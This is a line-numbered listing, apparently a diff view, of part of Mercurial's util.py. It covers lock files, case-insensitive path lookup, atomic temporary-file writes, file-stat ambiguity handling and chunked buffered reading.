1728 raise
1731 raise
1729 except AttributeError: # no symlink in os
1732 except AttributeError: # no symlink in os
1730 pass
1733 pass
1731
1734
1732 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1735 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1733 ld = os.open(pathname, flags)
1736 ld = os.open(pathname, flags)
1734 os.write(ld, info)
1737 os.write(ld, info)
1735 os.close(ld)
1738 os.close(ld)
1736
1739
1737 def readlock(pathname):
1740 def readlock(pathname):
1738 try:
1741 try:
1739 return os.readlink(pathname)
1742 return os.readlink(pathname)
1740 except OSError as why:
1743 except OSError as why:
1741 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1744 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1742 raise
1745 raise
1743 except AttributeError: # no symlink in os
1746 except AttributeError: # no symlink in os
1744 pass
1747 pass
1745 fp = posixfile(pathname, 'rb')
1748 fp = posixfile(pathname, 'rb')
1746 r = fp.read()
1749 r = fp.read()
1747 fp.close()
1750 fp.close()
1748 return r
1751 return r
1749
1752
1750 def fstat(fp):
1753 def fstat(fp):
1751 '''stat file object that may not have fileno method.'''
1754 '''stat file object that may not have fileno method.'''
1752 try:
1755 try:
1753 return os.fstat(fp.fileno())
1756 return os.fstat(fp.fileno())
1754 except AttributeError:
1757 except AttributeError:
1755 return os.stat(fp.name)
1758 return os.stat(fp.name)
1756
1759
1757 # File system features
1760 # File system features
1758
1761
1759 def fscasesensitive(path):
1762 def fscasesensitive(path):
1760 """
1763 """
1761 Return true if the given path is on a case-sensitive filesystem
1764 Return true if the given path is on a case-sensitive filesystem
1762
1765
1763 Requires a path (like /foo/.hg) ending with a foldable final
1766 Requires a path (like /foo/.hg) ending with a foldable final
1764 directory component.
1767 directory component.
1765 """
1768 """
1766 s1 = os.lstat(path)
1769 s1 = os.lstat(path)
1767 d, b = os.path.split(path)
1770 d, b = os.path.split(path)
1768 b2 = b.upper()
1771 b2 = b.upper()
1769 if b == b2:
1772 if b == b2:
1770 b2 = b.lower()
1773 b2 = b.lower()
1771 if b == b2:
1774 if b == b2:
1772 return True # no evidence against case sensitivity
1775 return True # no evidence against case sensitivity
1773 p2 = os.path.join(d, b2)
1776 p2 = os.path.join(d, b2)
1774 try:
1777 try:
1775 s2 = os.lstat(p2)
1778 s2 = os.lstat(p2)
1776 if s2 == s1:
1779 if s2 == s1:
1777 return False
1780 return False
1778 return True
1781 return True
1779 except OSError:
1782 except OSError:
1780 return True
1783 return True
1781
1784
1782 try:
1785 try:
1783 import re2
1786 import re2
1784 _re2 = None
1787 _re2 = None
1785 except ImportError:
1788 except ImportError:
1786 _re2 = False
1789 _re2 = False
1787
1790
1788 class _re(object):
1791 class _re(object):
1789 def _checkre2(self):
1792 def _checkre2(self):
1790 global _re2
1793 global _re2
1791 try:
1794 try:
1792 # check if match works, see issue3964
1795 # check if match works, see issue3964
1793 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1796 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1794 except ImportError:
1797 except ImportError:
1795 _re2 = False
1798 _re2 = False
1796
1799
1797 def compile(self, pat, flags=0):
1800 def compile(self, pat, flags=0):
1798 '''Compile a regular expression, using re2 if possible
1801 '''Compile a regular expression, using re2 if possible
1799
1802
1800 For best performance, use only re2-compatible regexp features. The
1803 For best performance, use only re2-compatible regexp features. The
1801 only flags from the re module that are re2-compatible are
1804 only flags from the re module that are re2-compatible are
1802 IGNORECASE and MULTILINE.'''
1805 IGNORECASE and MULTILINE.'''
1803 if _re2 is None:
1806 if _re2 is None:
1804 self._checkre2()
1807 self._checkre2()
1805 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1808 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1806 if flags & remod.IGNORECASE:
1809 if flags & remod.IGNORECASE:
1807 pat = '(?i)' + pat
1810 pat = '(?i)' + pat
1808 if flags & remod.MULTILINE:
1811 if flags & remod.MULTILINE:
1809 pat = '(?m)' + pat
1812 pat = '(?m)' + pat
1810 try:
1813 try:
1811 return re2.compile(pat)
1814 return re2.compile(pat)
1812 except re2.error:
1815 except re2.error:
1813 pass
1816 pass
1814 return remod.compile(pat, flags)
1817 return remod.compile(pat, flags)
1815
1818
1816 @propertycache
1819 @propertycache
1817 def escape(self):
1820 def escape(self):
1818 '''Return the version of escape corresponding to self.compile.
1821 '''Return the version of escape corresponding to self.compile.
1819
1822
1820 This is imperfect because whether re2 or re is used for a particular
1823 This is imperfect because whether re2 or re is used for a particular
1821 function depends on the flags, etc, but it's the best we can do.
1824 function depends on the flags, etc, but it's the best we can do.
1822 '''
1825 '''
1823 global _re2
1826 global _re2
1824 if _re2 is None:
1827 if _re2 is None:
1825 self._checkre2()
1828 self._checkre2()
1826 if _re2:
1829 if _re2:
1827 return re2.escape
1830 return re2.escape
1828 else:
1831 else:
1829 return remod.escape
1832 return remod.escape
1830
1833
1831 re = _re()
1834 re = _re()
1832
1835
1833 _fspathcache = {}
1836 _fspathcache = {}
1834 def fspath(name, root):
1837 def fspath(name, root):
1835 '''Get name in the case stored in the filesystem
1838 '''Get name in the case stored in the filesystem
1836
1839
1837 The name should be relative to root, and be normcase-ed for efficiency.
1840 The name should be relative to root, and be normcase-ed for efficiency.
1838
1841
1839 Note that this function is unnecessary, and should not be
1842 Note that this function is unnecessary, and should not be
1840 called, for case-sensitive filesystems (simply because it's expensive).
1843 called, for case-sensitive filesystems (simply because it's expensive).
1841
1844
1842 The root should be normcase-ed, too.
1845 The root should be normcase-ed, too.
1843 '''
1846 '''
1844 def _makefspathcacheentry(dir):
1847 def _makefspathcacheentry(dir):
1845 return dict((normcase(n), n) for n in os.listdir(dir))
1848 return dict((normcase(n), n) for n in os.listdir(dir))
1846
1849
1847 seps = pycompat.ossep
1850 seps = pycompat.ossep
1848 if pycompat.osaltsep:
1851 if pycompat.osaltsep:
1849 seps = seps + pycompat.osaltsep
1852 seps = seps + pycompat.osaltsep
1850 # Protect backslashes. This gets silly very quickly.
1853 # Protect backslashes. This gets silly very quickly.
1851 seps.replace('\\','\\\\')
1854 seps.replace('\\','\\\\')
1852 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1855 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1853 dir = os.path.normpath(root)
1856 dir = os.path.normpath(root)
1854 result = []
1857 result = []
1855 for part, sep in pattern.findall(name):
1858 for part, sep in pattern.findall(name):
1856 if sep:
1859 if sep:
1857 result.append(sep)
1860 result.append(sep)
1858 continue
1861 continue
1859
1862
1860 if dir not in _fspathcache:
1863 if dir not in _fspathcache:
1861 _fspathcache[dir] = _makefspathcacheentry(dir)
1864 _fspathcache[dir] = _makefspathcacheentry(dir)
1862 contents = _fspathcache[dir]
1865 contents = _fspathcache[dir]
1863
1866
1864 found = contents.get(part)
1867 found = contents.get(part)
1865 if not found:
1868 if not found:
1866 # retry "once per directory" per "dirstate.walk" which
1869 # retry "once per directory" per "dirstate.walk" which
1867 # may take place for each patches of "hg qpush", for example
1870 # may take place for each patches of "hg qpush", for example
1868 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1871 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1869 found = contents.get(part)
1872 found = contents.get(part)
1870
1873
1871 result.append(found or part)
1874 result.append(found or part)
1872 dir = os.path.join(dir, part)
1875 dir = os.path.join(dir, part)
1873
1876
1874 return ''.join(result)
1877 return ''.join(result)
1875
1878
1876 def checknlink(testfile):
1879 def checknlink(testfile):
1877 '''check whether hardlink count reporting works properly'''
1880 '''check whether hardlink count reporting works properly'''
1878
1881
1879 # testfile may be open, so we need a separate file for checking to
1882 # testfile may be open, so we need a separate file for checking to
1880 # work around issue2543 (or testfile may get lost on Samba shares)
1883 # work around issue2543 (or testfile may get lost on Samba shares)
1881 f1, f2, fp = None, None, None
1884 f1, f2, fp = None, None, None
1882 try:
1885 try:
1883 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1886 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1884 suffix='1~', dir=os.path.dirname(testfile))
1887 suffix='1~', dir=os.path.dirname(testfile))
1885 os.close(fd)
1888 os.close(fd)
1886 f2 = '%s2~' % f1[:-2]
1889 f2 = '%s2~' % f1[:-2]
1887
1890
1888 oslink(f1, f2)
1891 oslink(f1, f2)
1889 # nlinks() may behave differently for files on Windows shares if
1892 # nlinks() may behave differently for files on Windows shares if
1890 # the file is open.
1893 # the file is open.
1891 fp = posixfile(f2)
1894 fp = posixfile(f2)
1892 return nlinks(f2) > 1
1895 return nlinks(f2) > 1
1893 except OSError:
1896 except OSError:
1894 return False
1897 return False
1895 finally:
1898 finally:
1896 if fp is not None:
1899 if fp is not None:
1897 fp.close()
1900 fp.close()
1898 for f in (f1, f2):
1901 for f in (f1, f2):
1899 try:
1902 try:
1900 if f is not None:
1903 if f is not None:
1901 os.unlink(f)
1904 os.unlink(f)
1902 except OSError:
1905 except OSError:
1903 pass
1906 pass
1904
1907
1905 def endswithsep(path):
1908 def endswithsep(path):
1906 '''Check path ends with os.sep or os.altsep.'''
1909 '''Check path ends with os.sep or os.altsep.'''
1907 return (path.endswith(pycompat.ossep)
1910 return (path.endswith(pycompat.ossep)
1908 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1911 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1909
1912
1910 def splitpath(path):
1913 def splitpath(path):
1911 '''Split path by os.sep.
1914 '''Split path by os.sep.
1912 Note that this function does not use os.altsep because this is
1915 Note that this function does not use os.altsep because this is
1913 an alternative of simple "xxx.split(os.sep)".
1916 an alternative of simple "xxx.split(os.sep)".
1914 It is recommended to use os.path.normpath() before using this
1917 It is recommended to use os.path.normpath() before using this
1915 function if need.'''
1918 function if need.'''
1916 return path.split(pycompat.ossep)
1919 return path.split(pycompat.ossep)
1917
1920
1918 def mktempcopy(name, emptyok=False, createmode=None):
1921 def mktempcopy(name, emptyok=False, createmode=None):
1919 """Create a temporary file with the same contents from name
1922 """Create a temporary file with the same contents from name
1920
1923
1921 The permission bits are copied from the original file.
1924 The permission bits are copied from the original file.
1922
1925
1923 If the temporary file is going to be truncated immediately, you
1926 If the temporary file is going to be truncated immediately, you
1924 can use emptyok=True as an optimization.
1927 can use emptyok=True as an optimization.
1925
1928
1926 Returns the name of the temporary file.
1929 Returns the name of the temporary file.
1927 """
1930 """
1928 d, fn = os.path.split(name)
1931 d, fn = os.path.split(name)
1929 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1932 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1930 os.close(fd)
1933 os.close(fd)
1931 # Temporary files are created with mode 0600, which is usually not
1934 # Temporary files are created with mode 0600, which is usually not
1932 # what we want. If the original file already exists, just copy
1935 # what we want. If the original file already exists, just copy
1933 # its mode. Otherwise, manually obey umask.
1936 # its mode. Otherwise, manually obey umask.
1934 copymode(name, temp, createmode)
1937 copymode(name, temp, createmode)
1935 if emptyok:
1938 if emptyok:
1936 return temp
1939 return temp
1937 try:
1940 try:
1938 try:
1941 try:
1939 ifp = posixfile(name, "rb")
1942 ifp = posixfile(name, "rb")
1940 except IOError as inst:
1943 except IOError as inst:
1941 if inst.errno == errno.ENOENT:
1944 if inst.errno == errno.ENOENT:
1942 return temp
1945 return temp
1943 if not getattr(inst, 'filename', None):
1946 if not getattr(inst, 'filename', None):
1944 inst.filename = name
1947 inst.filename = name
1945 raise
1948 raise
1946 ofp = posixfile(temp, "wb")
1949 ofp = posixfile(temp, "wb")
1947 for chunk in filechunkiter(ifp):
1950 for chunk in filechunkiter(ifp):
1948 ofp.write(chunk)
1951 ofp.write(chunk)
1949 ifp.close()
1952 ifp.close()
1950 ofp.close()
1953 ofp.close()
1951 except: # re-raises
1954 except: # re-raises
1952 try:
1955 try:
1953 os.unlink(temp)
1956 os.unlink(temp)
1954 except OSError:
1957 except OSError:
1955 pass
1958 pass
1956 raise
1959 raise
1957 return temp
1960 return temp
1958
1961
1959 class filestat(object):
1962 class filestat(object):
1960 """help to exactly detect change of a file
1963 """help to exactly detect change of a file
1961
1964
1962 'stat' attribute is result of 'os.stat()' if specified 'path'
1965 'stat' attribute is result of 'os.stat()' if specified 'path'
1963 exists. Otherwise, it is None. This can avoid preparative
1966 exists. Otherwise, it is None. This can avoid preparative
1964 'exists()' examination on client side of this class.
1967 'exists()' examination on client side of this class.
1965 """
1968 """
1966 def __init__(self, stat):
1969 def __init__(self, stat):
1967 self.stat = stat
1970 self.stat = stat
1968
1971
1969 @classmethod
1972 @classmethod
1970 def frompath(cls, path):
1973 def frompath(cls, path):
1971 try:
1974 try:
1972 stat = os.stat(path)
1975 stat = os.stat(path)
1973 except OSError as err:
1976 except OSError as err:
1974 if err.errno != errno.ENOENT:
1977 if err.errno != errno.ENOENT:
1975 raise
1978 raise
1976 stat = None
1979 stat = None
1977 return cls(stat)
1980 return cls(stat)
1978
1981
1979 @classmethod
1982 @classmethod
1980 def fromfp(cls, fp):
1983 def fromfp(cls, fp):
1981 stat = os.fstat(fp.fileno())
1984 stat = os.fstat(fp.fileno())
1982 return cls(stat)
1985 return cls(stat)
1983
1986
1984 __hash__ = object.__hash__
1987 __hash__ = object.__hash__
1985
1988
1986 def __eq__(self, old):
1989 def __eq__(self, old):
1987 try:
1990 try:
1988 # if ambiguity between stat of new and old file is
1991 # if ambiguity between stat of new and old file is
1989 # avoided, comparison of size, ctime and mtime is enough
1992 # avoided, comparison of size, ctime and mtime is enough
1990 # to exactly detect change of a file regardless of platform
1993 # to exactly detect change of a file regardless of platform
1991 return (self.stat.st_size == old.stat.st_size and
1994 return (self.stat.st_size == old.stat.st_size and
1992 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1995 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
1993 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1996 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
1994 except AttributeError:
1997 except AttributeError:
1995 pass
1998 pass
1996 try:
1999 try:
1997 return self.stat is None and old.stat is None
2000 return self.stat is None and old.stat is None
1998 except AttributeError:
2001 except AttributeError:
1999 return False
2002 return False
2000
2003
2001 def isambig(self, old):
2004 def isambig(self, old):
2002 """Examine whether new (= self) stat is ambiguous against old one
2005 """Examine whether new (= self) stat is ambiguous against old one
2003
2006
2004 "S[N]" below means stat of a file at N-th change:
2007 "S[N]" below means stat of a file at N-th change:
2005
2008
2006 - S[n-1].ctime < S[n].ctime: can detect change of a file
2009 - S[n-1].ctime < S[n].ctime: can detect change of a file
2007 - S[n-1].ctime == S[n].ctime
2010 - S[n-1].ctime == S[n].ctime
2008 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2011 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2009 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2012 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2010 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2013 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2011 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2014 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2012
2015
2013 Case (*2) above means that a file was changed twice or more at
2016 Case (*2) above means that a file was changed twice or more at
2014 same time in sec (= S[n-1].ctime), and comparison of timestamp
2017 same time in sec (= S[n-1].ctime), and comparison of timestamp
2015 is ambiguous.
2018 is ambiguous.
2016
2019
2017 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2020 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2018 timestamp is ambiguous".
2021 timestamp is ambiguous".
2019
2022
2020 But advancing mtime only in case (*2) doesn't work as
2023 But advancing mtime only in case (*2) doesn't work as
2021 expected, because naturally advanced S[n].mtime in case (*1)
2024 expected, because naturally advanced S[n].mtime in case (*1)
2022 might be equal to manually advanced S[n-1 or earlier].mtime.
2025 might be equal to manually advanced S[n-1 or earlier].mtime.
2023
2026
2024 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2027 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2025 treated as ambiguous regardless of mtime, to avoid overlooking
2028 treated as ambiguous regardless of mtime, to avoid overlooking
2026 by confliction between such mtime.
2029 by confliction between such mtime.
2027
2030
2028 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2031 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2029 S[n].mtime", even if size of a file isn't changed.
2032 S[n].mtime", even if size of a file isn't changed.
2030 """
2033 """
2031 try:
2034 try:
2032 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2035 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2033 except AttributeError:
2036 except AttributeError:
2034 return False
2037 return False
2035
2038
2036 def avoidambig(self, path, old):
2039 def avoidambig(self, path, old):
2037 """Change file stat of specified path to avoid ambiguity
2040 """Change file stat of specified path to avoid ambiguity
2038
2041
2039 'old' should be previous filestat of 'path'.
2042 'old' should be previous filestat of 'path'.
2040
2043
2041 This skips avoiding ambiguity, if a process doesn't have
2044 This skips avoiding ambiguity, if a process doesn't have
2042 appropriate privileges for 'path'. This returns False in this
2045 appropriate privileges for 'path'. This returns False in this
2043 case.
2046 case.
2044
2047
2045 Otherwise, this returns True, as "ambiguity is avoided".
2048 Otherwise, this returns True, as "ambiguity is avoided".
2046 """
2049 """
2047 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2050 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2048 try:
2051 try:
2049 os.utime(path, (advanced, advanced))
2052 os.utime(path, (advanced, advanced))
2050 except OSError as inst:
2053 except OSError as inst:
2051 if inst.errno == errno.EPERM:
2054 if inst.errno == errno.EPERM:
2052 # utime() on the file created by another user causes EPERM,
2055 # utime() on the file created by another user causes EPERM,
2053 # if a process doesn't have appropriate privileges
2056 # if a process doesn't have appropriate privileges
2054 return False
2057 return False
2055 raise
2058 raise
2056 return True
2059 return True
2057
2060
2058 def __ne__(self, other):
2061 def __ne__(self, other):
2059 return not self == other
2062 return not self == other
2060
2063
2061 class atomictempfile(object):
2064 class atomictempfile(object):
2062 '''writable file object that atomically updates a file
2065 '''writable file object that atomically updates a file
2063
2066
2064 All writes will go to a temporary copy of the original file. Call
2067 All writes will go to a temporary copy of the original file. Call
2065 close() when you are done writing, and atomictempfile will rename
2068 close() when you are done writing, and atomictempfile will rename
2066 the temporary copy to the original name, making the changes
2069 the temporary copy to the original name, making the changes
2067 visible. If the object is destroyed without being closed, all your
2070 visible. If the object is destroyed without being closed, all your
2068 writes are discarded.
2071 writes are discarded.
2069
2072
2070 checkambig argument of constructor is used with filestat, and is
2073 checkambig argument of constructor is used with filestat, and is
2071 useful only if target file is guarded by any lock (e.g. repo.lock
2074 useful only if target file is guarded by any lock (e.g. repo.lock
2072 or repo.wlock).
2075 or repo.wlock).
2073 '''
2076 '''
2074 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2077 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2075 self.__name = name # permanent name
2078 self.__name = name # permanent name
2076 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2079 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2077 createmode=createmode)
2080 createmode=createmode)
2078 self._fp = posixfile(self._tempname, mode)
2081 self._fp = posixfile(self._tempname, mode)
2079 self._checkambig = checkambig
2082 self._checkambig = checkambig
2080
2083
2081 # delegated methods
2084 # delegated methods
2082 self.read = self._fp.read
2085 self.read = self._fp.read
2083 self.write = self._fp.write
2086 self.write = self._fp.write
2084 self.seek = self._fp.seek
2087 self.seek = self._fp.seek
2085 self.tell = self._fp.tell
2088 self.tell = self._fp.tell
2086 self.fileno = self._fp.fileno
2089 self.fileno = self._fp.fileno
2087
2090
2088 def close(self):
2091 def close(self):
2089 if not self._fp.closed:
2092 if not self._fp.closed:
2090 self._fp.close()
2093 self._fp.close()
2091 filename = localpath(self.__name)
2094 filename = localpath(self.__name)
2092 oldstat = self._checkambig and filestat.frompath(filename)
2095 oldstat = self._checkambig and filestat.frompath(filename)
2093 if oldstat and oldstat.stat:
2096 if oldstat and oldstat.stat:
2094 rename(self._tempname, filename)
2097 rename(self._tempname, filename)
2095 newstat = filestat.frompath(filename)
2098 newstat = filestat.frompath(filename)
2096 if newstat.isambig(oldstat):
2099 if newstat.isambig(oldstat):
2097 # stat of changed file is ambiguous to original one
2100 # stat of changed file is ambiguous to original one
2098 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2101 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2099 os.utime(filename, (advanced, advanced))
2102 os.utime(filename, (advanced, advanced))
2100 else:
2103 else:
2101 rename(self._tempname, filename)
2104 rename(self._tempname, filename)
2102
2105
2103 def discard(self):
2106 def discard(self):
2104 if not self._fp.closed:
2107 if not self._fp.closed:
2105 try:
2108 try:
2106 os.unlink(self._tempname)
2109 os.unlink(self._tempname)
2107 except OSError:
2110 except OSError:
2108 pass
2111 pass
2109 self._fp.close()
2112 self._fp.close()
2110
2113
2111 def __del__(self):
2114 def __del__(self):
2112 if safehasattr(self, '_fp'): # constructor actually did something
2115 if safehasattr(self, '_fp'): # constructor actually did something
2113 self.discard()
2116 self.discard()
2114
2117
2115 def __enter__(self):
2118 def __enter__(self):
2116 return self
2119 return self
2117
2120
2118 def __exit__(self, exctype, excvalue, traceback):
2121 def __exit__(self, exctype, excvalue, traceback):
2119 if exctype is not None:
2122 if exctype is not None:
2120 self.discard()
2123 self.discard()
2121 else:
2124 else:
2122 self.close()
2125 self.close()
2123
2126
2124 def unlinkpath(f, ignoremissing=False):
2127 def unlinkpath(f, ignoremissing=False):
2125 """unlink and remove the directory if it is empty"""
2128 """unlink and remove the directory if it is empty"""
2126 if ignoremissing:
2129 if ignoremissing:
2127 tryunlink(f)
2130 tryunlink(f)
2128 else:
2131 else:
2129 unlink(f)
2132 unlink(f)
2130 # try removing directories that might now be empty
2133 # try removing directories that might now be empty
2131 try:
2134 try:
2132 removedirs(os.path.dirname(f))
2135 removedirs(os.path.dirname(f))
2133 except OSError:
2136 except OSError:
2134 pass
2137 pass
2135
2138
2136 def tryunlink(f):
2139 def tryunlink(f):
2137 """Attempt to remove a file, ignoring ENOENT errors."""
2140 """Attempt to remove a file, ignoring ENOENT errors."""
2138 try:
2141 try:
2139 unlink(f)
2142 unlink(f)
2140 except OSError as e:
2143 except OSError as e:
2141 if e.errno != errno.ENOENT:
2144 if e.errno != errno.ENOENT:
2142 raise
2145 raise
2143
2146
2144 def makedirs(name, mode=None, notindexed=False):
2147 def makedirs(name, mode=None, notindexed=False):
2145 """recursive directory creation with parent mode inheritance
2148 """recursive directory creation with parent mode inheritance
2146
2149
2147 Newly created directories are marked as "not to be indexed by
2150 Newly created directories are marked as "not to be indexed by
2148 the content indexing service", if ``notindexed`` is specified
2151 the content indexing service", if ``notindexed`` is specified
2149 for "write" mode access.
2152 for "write" mode access.
2150 """
2153 """
2151 try:
2154 try:
2152 makedir(name, notindexed)
2155 makedir(name, notindexed)
2153 except OSError as err:
2156 except OSError as err:
2154 if err.errno == errno.EEXIST:
2157 if err.errno == errno.EEXIST:
2155 return
2158 return
2156 if err.errno != errno.ENOENT or not name:
2159 if err.errno != errno.ENOENT or not name:
2157 raise
2160 raise
2158 parent = os.path.dirname(os.path.abspath(name))
2161 parent = os.path.dirname(os.path.abspath(name))
2159 if parent == name:
2162 if parent == name:
2160 raise
2163 raise
2161 makedirs(parent, mode, notindexed)
2164 makedirs(parent, mode, notindexed)
2162 try:
2165 try:
2163 makedir(name, notindexed)
2166 makedir(name, notindexed)
2164 except OSError as err:
2167 except OSError as err:
2165 # Catch EEXIST to handle races
2168 # Catch EEXIST to handle races
2166 if err.errno == errno.EEXIST:
2169 if err.errno == errno.EEXIST:
2167 return
2170 return
2168 raise
2171 raise
2169 if mode is not None:
2172 if mode is not None:
2170 os.chmod(name, mode)
2173 os.chmod(name, mode)
2171
2174
2172 def readfile(path):
2175 def readfile(path):
2173 with open(path, 'rb') as fp:
2176 with open(path, 'rb') as fp:
2174 return fp.read()
2177 return fp.read()
2175
2178
2176 def writefile(path, text):
2179 def writefile(path, text):
2177 with open(path, 'wb') as fp:
2180 with open(path, 'wb') as fp:
2178 fp.write(text)
2181 fp.write(text)
2179
2182
2180 def appendfile(path, text):
2183 def appendfile(path, text):
2181 with open(path, 'ab') as fp:
2184 with open(path, 'ab') as fp:
2182 fp.write(text)
2185 fp.write(text)
2183
2186
2184 class chunkbuffer(object):
2187 class chunkbuffer(object):
2185 """Allow arbitrary sized chunks of data to be efficiently read from an
2188 """Allow arbitrary sized chunks of data to be efficiently read from an
2186 iterator over chunks of arbitrary size."""
2189 iterator over chunks of arbitrary size."""
2187
2190
2188 def __init__(self, in_iter):
2191 def __init__(self, in_iter):
2189 """in_iter is the iterator that's iterating over the input chunks."""
2192 """in_iter is the iterator that's iterating over the input chunks."""
2190 def splitbig(chunks):
2193 def splitbig(chunks):
2191 for chunk in chunks:
2194 for chunk in chunks:
2192 if len(chunk) > 2**20:
2195 if len(chunk) > 2**20:
2193 pos = 0
2196 pos = 0
2194 while pos < len(chunk):
2197 while pos < len(chunk):
2195 end = pos + 2 ** 18
2198 end = pos + 2 ** 18
2196 yield chunk[pos:end]
2199 yield chunk[pos:end]
2197 pos = end
2200 pos = end
2198 else:
2201 else:
2199 yield chunk
2202 yield chunk
2200 self.iter = splitbig(in_iter)
2203 self.iter = splitbig(in_iter)
2201 self._queue = collections.deque()
2204 self._queue = collections.deque()
2202 self._chunkoffset = 0
2205 self._chunkoffset = 0
2203
2206
2204 def read(self, l=None):
2207 def read(self, l=None):
2205 """Read L bytes of data from the iterator of chunks of data.
2208 """Read L bytes of data from the iterator of chunks of data.
2206 Returns less than L bytes if the iterator runs dry.
2209 Returns less than L bytes if the iterator runs dry.
2207
2210
2208 If size parameter is omitted, read everything"""
2211 If size parameter is omitted, read everything"""
2209 if l is None:
2212 if l is None:
2210 return ''.join(self.iter)
2213 return ''.join(self.iter)
2211
2214
2212 left = l
2215 left = l
2213 buf = []
2216 buf = []
2214 queue = self._queue
2217 queue = self._queue
2215 while left > 0:
2218 while left > 0:
2216 # refill the queue
2219 # refill the queue
2217 if not queue:
2220 if not queue:
2218 target = 2**18
2221 target = 2**18
2219 for chunk in self.iter:
2222 for chunk in self.iter:
2220 queue.append(chunk)
2223 queue.append(chunk)
2221 target -= len(chunk)
2224 target -= len(chunk)
2222 if target <= 0:
2225 if target <= 0:
2223 break
2226 break
2224 if not queue:
2227 if not queue:
2225 break
2228 break
2226
2229
2227 # The easy way to do this would be to queue.popleft(), modify the
2230 # The easy way to do this would be to queue.popleft(), modify the
2228 # chunk (if necessary), then queue.appendleft(). However, for cases
2231 # chunk (if necessary), then queue.appendleft(). However, for cases
2229 # where we read partial chunk content, this incurs 2 dequeue
2232 # where we read partial chunk content, this incurs 2 dequeue
2230 # mutations and creates a new str for the remaining chunk in the
2233 # mutations and creates a new str for the remaining chunk in the
2231 # queue. Our code below avoids this overhead.
2234 # queue. Our code below avoids this overhead.
2232
2235
2233 chunk = queue[0]
2236 chunk = queue[0]
2234 chunkl = len(chunk)
2237 chunkl = len(chunk)
2235 offset = self._chunkoffset
2238 offset = self._chunkoffset
2236
2239
2237 # Use full chunk.
2240 # Use full chunk.
2238 if offset == 0 and left >= chunkl:
2241 if offset == 0 and left >= chunkl:
2239 left -= chunkl
2242 left -= chunkl
2240 queue.popleft()
2243 queue.popleft()
2241 buf.append(chunk)
2244 buf.append(chunk)
2242 # self._chunkoffset remains at 0.
2245 # self._chunkoffset remains at 0.
2243 continue
2246 continue
2244
2247
2245 chunkremaining = chunkl - offset
2248 chunkremaining = chunkl - offset
2246
2249
2247 # Use all of unconsumed part of chunk.
2250 # Use all of unconsumed part of chunk.
2248 if left >= chunkremaining:
2251 if left >= chunkremaining:
2249 left -= chunkremaining
2252 left -= chunkremaining
2250 queue.popleft()
2253 queue.popleft()
2251 # offset == 0 is enabled by block above, so this won't merely
2254 # offset == 0 is enabled by block above, so this won't merely
2252 # copy via ``chunk[0:]``.
2255 # copy via ``chunk[0:]``.
2253 buf.append(chunk[offset:])
2256 buf.append(chunk[offset:])
2254 self._chunkoffset = 0
2257 self._chunkoffset = 0
2255
2258
2256 # Partial chunk needed.
2259 # Partial chunk needed.
2257 else:
2260 else:
2258 buf.append(chunk[offset:offset + left])
2261 buf.append(chunk[offset:offset + left])
2259 self._chunkoffset += left
2262 self._chunkoffset += left
2260 left -= chunkremaining
2263 left -= chunkremaining
2261
2264
2262 return ''.join(buf)
2265 return ''.join(buf)
2263
2266
2264 def filechunkiter(f, size=131072, limit=None):
2267 def filechunkiter(f, size=131072, limit=None):
2265 """Create a generator that produces the data in the file size
2268 """Create a generator that produces the data in the file size
2266 (default 131072) bytes at a time, up to optional limit (default is
2269 (default 131072) bytes at a time, up to optional limit (default is
2267 to read all data). Chunks may be less than size bytes if the
2270 to read all data). Chunks may be less than size bytes if the
2268 chunk is the last chunk in the file, or the file is a socket or
2271 chunk is the last chunk in the file, or the file is a socket or
2269 some other type of file that sometimes reads less data than is
2272 some other type of file that sometimes reads less data than is
2270 requested."""
2273 requested."""
2271 assert size >= 0
2274 assert size >= 0
2272 assert limit is None or limit >= 0
